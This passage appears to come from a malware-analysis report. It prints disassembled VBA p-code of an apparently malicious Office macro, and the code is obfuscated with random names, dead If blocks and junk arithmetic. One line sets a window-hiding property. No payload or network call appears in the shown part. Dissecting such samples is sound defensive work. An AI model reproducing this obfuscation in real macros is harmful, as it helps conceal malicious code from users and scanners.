' 	Ld LBQUDA 
' 	Ld YCBAcA 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0xFFC9 0x3435 
' 	LitDI4 0x16CF 0x2BFC 
' 	FnSgn 
' 	Div 
' 	Ld fDQ_D4Q 
' 	LitDI4 0x98EA 0x1EFE 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St j4CAD1DB 
' Line #43:
' 	EndIfBlock 
' Line #44:
' 	LineCont 0x0004 02 00 00 00
' 	Ld QDxZADG 
' 	MemLd ShOwWiNdOw 
' 	Ld QDxZADG 
' 	MemLd ShOwWiNdOw 
' 	Sub 
' 	Ld QDxZADG 
' 	MemLd ShOwWiNdOw 
' 	Add 
' 	Ld QDxZADG 
' 	MemLd ShOwWiNdOw 
' 	Add 
' 	Ld QDxZADG 
' 	MemLd ShOwWiNdOw 
' 	Add 
' 	Ld iAGQkw 
' 	MemSt AAAUAAZ 
' Line #45:
' 	LitDI4 0x2A57 0x0569 
' 	LitDI4 0xCB6F 0x1F02 
' 	Eq 
' 	IfBlock 
' Line #46:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld wwAAUZ1 
' 	LitDI4 0xA92E 0x376B 
' 	Ld oGAQcADU 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld uBUkAUA 
' 	LitDI4 0xBB89 0x3889 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld BAUxQA 
' 	Ld HCAkAc 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld HZoX4A 
' 	Ld bUAC1co1 
' 	LitDI4 0x3F86 0x2ECF 
' 	Div 
' 	Sub 
' 	Ld zcxAU11_ 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld pAAABB 
' 	Ld wAGcAA 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0x8F8C 0x304C 
' 	LitDI4 0x8C15 0x00A0 
' 	FnSgn 
' 	Div 
' 	Ld rCADk4 
' 	LitDI4 0x08FD 0x337E 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St iAGB4AA 
' Line #47:
' 	EndIfBlock 
' Line #48:
' 	LitDI4 0x9A80 0x1EBB 
' 	LitDI4 0x96BD 0x0215 
' 	Eq 
' 	IfBlock 
' Line #49:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld T1cAAk 
' 	LitDI4 0x4124 0x2D09 
' 	Ld DxAAUZc 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld hBBAA_AQ 
' 	LitDI4 0x8DA1 0x11DA 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld ZDCX11AG 
' 	Ld ikBAGQA 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld TocAUAB 
' 	Ld bwAU4cA 
' 	LitDI4 0x8A5A 0x2B6D 
' 	Div 
' 	Sub 
' 	Ld ak4A_Akc 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld wGUADD 
' 	Ld HABU4xQ 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0x03AD 0x2C17 
' 	LitDI4 0x5AE4 0x02C7 
' 	FnSgn 
' 	Div 
' 	Ld MZBX4Akk 
' 	LitDI4 0x1CBE 0x3303 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St UQBoAD 
' Line #50:
' 	EndIfBlock 
' Line #51:
' 	LitDI4 0x591D 0x2B8B 
' 	LitDI4 0xE56A 0x1A95 
' 	Eq 
' 	IfBlock 
' Line #52:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld ZGAAABx 
' 	LitDI4 0xE755 0x168A 
' 	Ld wAxA_cC 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld SACAAA 
' 	LitDI4 0x9CCC 0x3408 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld rB4CUwwU 
' 	Ld PAADAU1A 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld PDAAXB 
' 	Ld M1UDxXQ 
' 	LitDI4 0xA8D1 0x1F79 
' 	Div 
' 	Sub 
' 	Ld tQZAkCQx 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld pABkABQ 
' 	Ld bXDBXA 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0x56E4 0x19F2 
' 	LitDI4 0x4F64 0x325C 
' 	FnSgn 
' 	Div 
' 	Ld KU44XU 
' 	LitDI4 0x9449 0x2B80 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St iUUBXG 
' Line #53:
' 	EndIfBlock 
' Line #54:
' 	EndIfBlock 
…

Open this report in the interactive analyzer, or submit your own file for analysis.